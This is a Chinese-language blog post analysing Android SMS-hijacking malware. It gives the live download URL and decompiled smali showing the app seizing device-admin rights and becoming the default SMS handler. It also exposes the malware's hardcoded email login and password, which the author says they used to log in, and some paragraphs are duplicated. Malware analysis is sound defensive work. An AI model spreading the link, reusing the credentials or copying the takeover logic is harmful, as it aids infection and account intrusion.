对于恶意软件不进行打码处理了,网址是 http://hpwxn.com/ 浏览之后可以下载两个 apk ,不过从文件大小来看应该是一个文件只不过进行了改名。
一般这种恶意软件既不会加壳也不会做复杂的混淆处理,分析起来很简单。直接反编译看 AndroidManifest.xml,找到如下一行。
<activity android:label="@string/app_name" android:name="acce3ft.aevbbb.MainActivity">
可以看到程序的 MainActivity, 直接看 acce3ft/aevbbb/MainActivity.smali 文件。
OnCreate
.method protected onCreate(Landroid/os/Bundle;)V
.locals 4
const/4 v3, 0x1
invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
invoke-super {p0, v3}, Landroid/app/Activity;->requestWindowFeature(I)Z
const/high16 v0, 0x7f030000
invoke-virtual {p0, v0}, Lacce3ft/aevbbb/MainActivity;->setContentView(I)V
invoke-static {}, Lacce3ft/aevbbb/util/MyApplication;->b()Landroid/content/Context;
move-result-object v0
invoke-static {}, Lacce3ft/aevbbb/util/c;->a()Z
move-result v1
if-nez v1, :cond_0
invoke-virtual {p0, v0}, Lacce3ft/aevbbb/MainActivity;->a(Landroid/content/Context;)V
invoke-virtual {p0}, Lacce3ft/aevbbb/MainActivity;->finish()V
:cond_0
new-instance v1, Landroid/content/ComponentName;
const-class v2, Lacce3ft/aevbbb/NetstateReceiver;
invoke-direct {v1, v0, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
invoke-virtual {v0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
move-result-object v0
const/4 v2, 0x2
invoke-virtual {v0, v1, v2, v3}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
invoke-static {}, Lacce3ft/aevbbb/util/c;->d()V
return-void
.end method
进行了一系列的初始化操作,主要就是查看当前手机是否符合恶意软件的运行环境(权限、组件的开启情况等),需要注意的是在最后调用了 Lacce3ft/aevbbb/util/c;->d() 跟一下这个函数,该片段主要的代码结构如下
const-string v1, "CONTROL_NUMBER"
sget-object v2, Lacce3ft/aevbbb/util/a;->g:Ljava/lang/String;
invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
move-result-object v1
sput-object v1, Lacce3ft/aevbbb/util/a;->g:Ljava/lang/String;
即将 Lacce3ft/aevbbb/util/a; 类的各个参数进行重新赋值,本片段中是给 g 参数进行复制,因为重复地对该类进行赋值和读取操作,所以推测该类作用为储存恶意软件运行参数,查看该类的 smali 文件。.method static constructor <clinit>()V
.locals 1
const/4 v0, 0x0
sput v0, Lacce3ft/aevbbb/util/a;->a:I
const-string v0, "sss"
sput-object v0, Lacce3ft/aevbbb/util/a;->b:Ljava/lang/String;
const-string v0, "15274907736@189.cn"
sput-object v0, Lacce3ft/aevbbb/util/a;->c:Ljava/lang/String;
const-string v0, "aaaa123123"
sput-object v0, Lacce3ft/aevbbb/util/a;->d:Ljava/lang/String;
const-string v0, "15274907736@189.cn"
sput-object v0, Lacce3ft/aevbbb/util/a;->e:Ljava/lang/String;
const-string v0, "15274907736"
sput-object v0, Lacce3ft/aevbbb/util/a;->f:Ljava/lang/String;
const-string v0, "15274907736"
确实如之前猜测一样,是参数类,邮箱账号和密码如上所示,登陆一下看看。
OnStart
主要进行了两个操作,如果可以获取管理员权限(ROOT)即进行添加管理员操作(状态码:1),不行的话就尝试修改默认 SMS 使用的 package 为恶意软件的 package(状态码:0),执行完毕之后带着状态码进入 Lacce3ft/aevbbb/MainActivity;->startActivityForResult() 函数。
而与 startActivityForResult() 对应的, onActivityResult() 中设置了各个状态码对应的操作。几个比较明显的代码段如下。
后续行为不做分析了,基本上千篇一律,删除并举报了邮箱。不过值得一提的是,在 360 显危镜和腾讯哈勃的 app 扫描里,该软件并没有被确定是恶意软件。
*文中分析的 apk 文件可以在 AndroidRevStudy 找到
而与 startActivityForResult() 对应的, onActivityResult() 中设置了各个状态码对应的操作。几个比较明显的代码段如下。
const-string v0, "device_policy" # 检查当前是否为管理权限
invoke-virtual {p0, v0}, Lacce3ft/aevbbb/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Landroid/app/admin/DevicePolicyManager;
new-instance v1, Landroid/content/ComponentName;
const-class v2, Lacce3ft/aevbbb/MyAdmin;
invoke-direct {v1, p0, v2}, Landroid/content/ComponentName;->(Landroid/content/Context;Ljava/lang/Class;)V
invoke-virtual {v0, v1}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z
move-result v0
---
const-string v1, "isAdminActive" # 设置当前应用的管理员权限
invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
---
const-string v1, "android.provider.Telephony.SMS_DELIVER" # 设置当前应用为默认 SMS
invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
iget-object v0, p0, Lacce3ft/aevbbb/MainActivity;->b:Landroid/content/Intent;
invoke-virtual {p0, v0}, Lacce3ft/aevbbb/MainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
后续行为不做分析了,基本上千篇一律,删除并举报了邮箱。不过值得一提的是,在 360 显危镜和腾讯哈勃的 app 扫描里,该软件并没有被确定是恶意软件。
*文中分析的 apk 文件可以在 AndroidRevStudy 找到
